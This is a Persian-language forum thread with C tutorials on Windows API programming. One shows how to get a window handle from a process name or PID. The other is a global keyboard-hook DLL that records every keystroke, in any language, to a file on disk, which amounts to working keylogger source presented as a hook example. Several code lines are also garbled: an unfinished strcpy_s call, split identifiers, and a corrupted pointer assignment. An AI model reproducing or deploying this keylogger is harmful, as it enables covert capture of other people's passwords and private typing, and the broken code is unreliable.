View Full Version : حرفه ای: مطالبی در رابطه با برنامه نویسی API
gh-reza
پنج شنبه 01 بهمن 1388, 23:17 عصر
میخام توی این تاپیک مطالب پیشرفته ای درباره برنامه نویسی API رو که خودم باهاش کار کردم یا دارم کار میکنم قرار بدم تا هم آرشیوی برای خودم باشه و هم دیگران از این اطلاعات بهره مند بشوند. مطالبی که میخام اینجا مطرح کنم نسبتا پیشرفته و جالب خواهند بود، ولی قول نمیدم که زود به زود پست بزارم.
اینم میدونم که تاپیکهائی برای این موضوع توی انجمن وجود دارند ولی من ترجیح دادم که یه تاپیک اختصاصی داشته باشم که فقط مطالب دلخواه خودم رو توش قرار بدم.
پستهای دوم، سوم، و چهارم رو برای فهرست مطالب، منابع و مراجع و بقیه مخلفات در نظر گرفتم و با زدن هر پست جدید این پستها اصلاح خواهند شد.
از همه عزیزان خواهش دارم از زدن پست در این تاپیک اجتناب کنند و اگر میخاین تشکر یا تشویق به ادامه کار کنید تنها با زدن کلید تشکر این کار رو انجام بدین. اگر هم سوال یا انتقاد یا نظری داشتین با ارسال پیام خصوصی یا ارسال ایمیل به آدرس sahand1984wolf@yahoo.com اقدام کنید. چون تاپیکهای مفیدی وجود دارند که بعد از دو سه پست اول بقیه پستها به حاشیه کشیده میشن و یا تشکرهای اضافی باعث افزایش تعداد پستها شده و وقت کاربرهای انجمن تلف میشه و حتی باعث منصرف شدن کاربر از مطالعه ادامه مطلب میشه.
gh-reza
پنج شنبه 01 بهمن 1388, 23:18 عصر
فهرست موضوعی مطالب تاپیک (شماره 1)
1- بدست آوردن هندل به پنجره پردازش (HWND) از طریق نام آن و PID آن. (http://barnamenevis.org/forum/showpost.php?p=893696&postcount=5)
2- هوک کردن صفحه کلید برای تمامی زبانها (Multilingual unicode global keyboard hooking) (http://www.barnamenevis.org/forum/showpost.php?p=903624&postcount=6)
gh-reza
پنج شنبه 01 بهمن 1388, 23:19 عصر
فهرست موضوعی مطالب تاپیک (شماره 2)
gh-reza
پنج شنبه 01 بهمن 1388, 23:19 عصر
فهرست موضوعی مطالب تاپیک (شماره 3)
gh-reza
پنج شنبه 01 بهمن 1388, 23:21 عصر
بدست آوردن هندل به پنجره پردازش (HWND) از طریق نام آن و PID آن.
در برنامه زیر فیلدهای ساختار ProcessInformation به عنوان ورودی و خروجی عمل خواهند کرد به این صورت که با تعیین مقدار INPUT_TYPE_NAME برای فلید InputType میبایست نام یک پردازش در حال اجرا را به فیلد Name بدهیم و با تعیین مقدار INPUT_TYPE_PID برای فیلد InputType میبایست PID یک پردازش به فیلد pid وارد کنیم.
سپس با فراخوانی تابع Get_HWND و ارسال اشاره گر به ساختار pi (ppi) به آن هندل را بدست می آوریم. هندل نیز در فیلد hwnd از ساختار مذکور قرار میگیرد. جهت تست برنامه از این هندل برای بدست آوردن عنوان پنجره برنامه استفاده مینمائیم.
#include <windows.h>
#include <Tlhelp32.h>
#include <commdlg.h>
#include <commctrl.h>
#include <stdio.h>
#include "resource.h"
#pragma comment (lib,"comctl32.lib")
#define INPUT_TYPE_NAME 1
#define INPUT_TYPE_PID 2
//-------------------------------------------------------------------
typedef struct
{
int InputType; // intput
int pid; // intput
char Name[MAX_PATH]; // intput
HWND hwnd; // output
} ProcessInformation,*PProcessInformation;
//-------------------------------------------------------------------
bool IsPidBelongToProcessName(char* prcName,DWORD pid)
{
HANDLE hModuleStatus = INVALID_HANDLE_VALUE;
MODULEENTRY32 me32;
hModuleStatus = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,pid);
if(hModuleStatus == INVALID_HANDLE_VALUE)
{
return false;
}
me32.dwSize = sizeof(MODULEENTRY32);
if(!Module32First(hModuleStatus,&me32))
{
CloseHandle(hModuleStatus);
return false;
}
if(stricmp(me32.szModule,prcName)==0)
{
CloseHandle(hModuleStatus);
return true;
}
return false;
}
//-------------------------------------------------------------------
bool IsProcessNameBelongToPid(char* prcName,DWORD pid)
{
HANDLE hModuleStatus = INVALID_HANDLE_VALUE;
MODULEENTRY32 me32;
hModuleStatus = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,pid);
if(hModuleStatus == INVALID_HANDLE_VALUE)
{
return false;
}
me32.dwSize = sizeof(MODULEENTRY32);
if(!Module32First(hModuleStatus,&me32))
{
CloseHandle(hModuleStatus);
return false;
}
if(stricmp(me32.szModule,prcName)==0)
{
CloseHandle(hModuleStatus);
return true;
}
return false;
}
//-------------------------------------------------------------------
bool CALLBACK EnumWindowProc(HWND hwnd,LPARAM lparam)
{
if(IsWindowVisible(hwnd))
{
DWORD pid;
GetWindowThreadProcessId(hwnd,&pid);
PProcessInformation ppi = (PProcessInformation) lparam;
if(ppi->InputType == INPUT_TYPE_NAME)
{
if(IsPidBelongToProcessName(ppi->Name,pid))
{
ppi->hwnd = hwnd;
ppi->pid = pid;
return true;
}
}
else if(ppi->InputType == INPUT_TYPE_PID)
{
if(ppi->pid == pid)
{
ppi->hwnd=hwnd;
strcpy_s(ppi->Name,
return true;
}
}
}
return true;
}
//-------------------------------------------------------------------
void Get_HWND(PProcessInformation ppi)
{
HDESK desktopHandle = OpenInputDesktop(0,TRUE,DESKTOP_ENUMERATE);
EnumDesktopWindows(desktopHandle,(WNDENUMPROC)Enum WindowProc,(LPARAM)ppi);
}
//-------------------------------------------------------------------
int main(int argc,char *argv[])
{
bool ErrorExist = false;
char szTitle[256] = {0};
ProcessInformation pi = {0,0,0,0};
PProcessInformation ppi = π
if(argc<3)
{
ErrorExist = true;
}
if(!ErrorExist)
{
if(stricmp(argv[1],"IT_NAME")==0)
{
pi.InputType = INPUT_TYPE_NAME;
strcpy_s(pi.Name,argv[2]);
}
else if(stricmp(argv[1],"IT_PID")==0)
{
pi.InputType = INPUT_TYPE_PID;
pi.pid = atoi(argv[2]);
}
else
{
ErrorExist = true;
}
if(!ErrorExist)
{
Get_HWND(ppi);
if(pi.hwnd != NULL)
{
GetWindowText(pi.hwnd,szTitle,256);
printf("\nWindow Title is: %s",szTitle);
//SetWindowText(pi.hwnd,"gh-reza test");
}
else
{
ErrorExist = true;
}
}
}
if(ErrorExist)
{
printf("\nThis program take two arguments: InputType, and Input.");
printf("\nInput type could be one of \"IT_NAME\", or \"IT_PID\"");
printf("\nInput related to input type could be a process name or PID");
return 1; // means has error
}
return 0;
}
gh-reza
جمعه 16 بهمن 1388, 22:49 عصر
خیلی ها با مفهوم hook آشنا هستن و اگه آشنا نباشن میتونن با یه جستجوی ساده توی همین انجمن با مفاهیمش آشنا بشن. پس من توضیح اضافی نمیدم و یه راست میرم سر اصل مطلب. برنامه زیر عمل global keyboard hook رو برای تمام زبانها انجام میده و فرقی نمیکنه با چه زبانی تایپ کنید. برای تشخیص زبان جاری و تبدیل کد فشرده شده به حالت مورد نظر از تابع ToUnicodeEx استفاده کردیم که میتونید توی MSDN دنبالش بگردین و توضیحاتش رو بخونین.
http://msdn.microsoft.com/en-us/library/ms646322%28VS.85%29.aspx
//------------------------------------------------------------------------
#include <windows.h>
#include <stdio.h>
//------------------------------------------------------------------------
#pragma data_seg(".SHARDAT")
static HHOOK hkb=NULL;
FILE *f1;
#pragma data_seg()
//------------------------------------------------------------------------
HINSTANCE hins;
//------------------------------------------------------------------------
LRESULT __declspec(dllexport)__stdcall CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
wchar_t uch;
if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode))
{
if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100))
{
_wfopen_s(&f1,L"c:\\report.txt",L"a+");
if(f1)
{
if (wParam==VK_RETURN)
{
uch=L'<';
fwrite(&uch,sizeof(uch),1,f1);
uch=L'c';
fwrite(&uch,sizeof(uch),1,f1);
uch=L'r';
fwrite(&uch,sizeof(uch),1,f1);
uch=L'l';
fwrite(&uch,sizeof(uch),1,f1);
uch=L'f';
fwrite(&uch,sizeof(uch),1,f1);
uch=L'>';
fwrite(&uch,sizeof(uch),1,f1);
}
else
{
BYTE ks[256];
GetKeyboardState(ks);
wchar_t w;
UINT scan;
scan=0;
HKL hkl;
hkl = GetKeyboardLayout(0);
ToUnicodeEx(wParam,scan,ks,&w,sizeof(wchar_t),0,hkl);
uch =w;
fwrite(&uch,sizeof(wchar_t),1,f1);
}
fclose(f1);
}
}
}
LRESULT RetVal = CallNextHookEx( hkb, nCode, wParam, lParam );
return RetVal;
}
//------------------------------------------------------------------------
BOOL __declspec(dllexport)__stdcall installhook()
{
_wfopen_s(&f1,L"c:\\report.txt",L"w");
if(f1)
{
fclose(f1);
hkb=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)Keyboar dProc,hins,0);
return TRUE;
}
else
{
return FALSE;
}
}
//------------------------------------------------------------------------
BOOL __declspec(dllexport) UnHook()
{
BOOL unhooked = UnhookWindowsHookEx(hkb);
hkb = NULL;
return unhooked;
}
//------------------------------------------------------------------------
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved)
{
hins = hinstDLL;
if(fdwReason == DLL_PROCESS_ATTACH)
{
}
else if(fdwReason == DLL_PROCESS_DETACH)
{
}
return true;
}
فایل def هم به صورت زیر هست
LIBRARY "UnicodeKeyboardHook"
EXPORTS
; Explicit exports can go here
KeyboardProc
installhook
vBulletin® v4.2.5, Copyright ©2000-1404, Jelsoft Enterprises Ltd.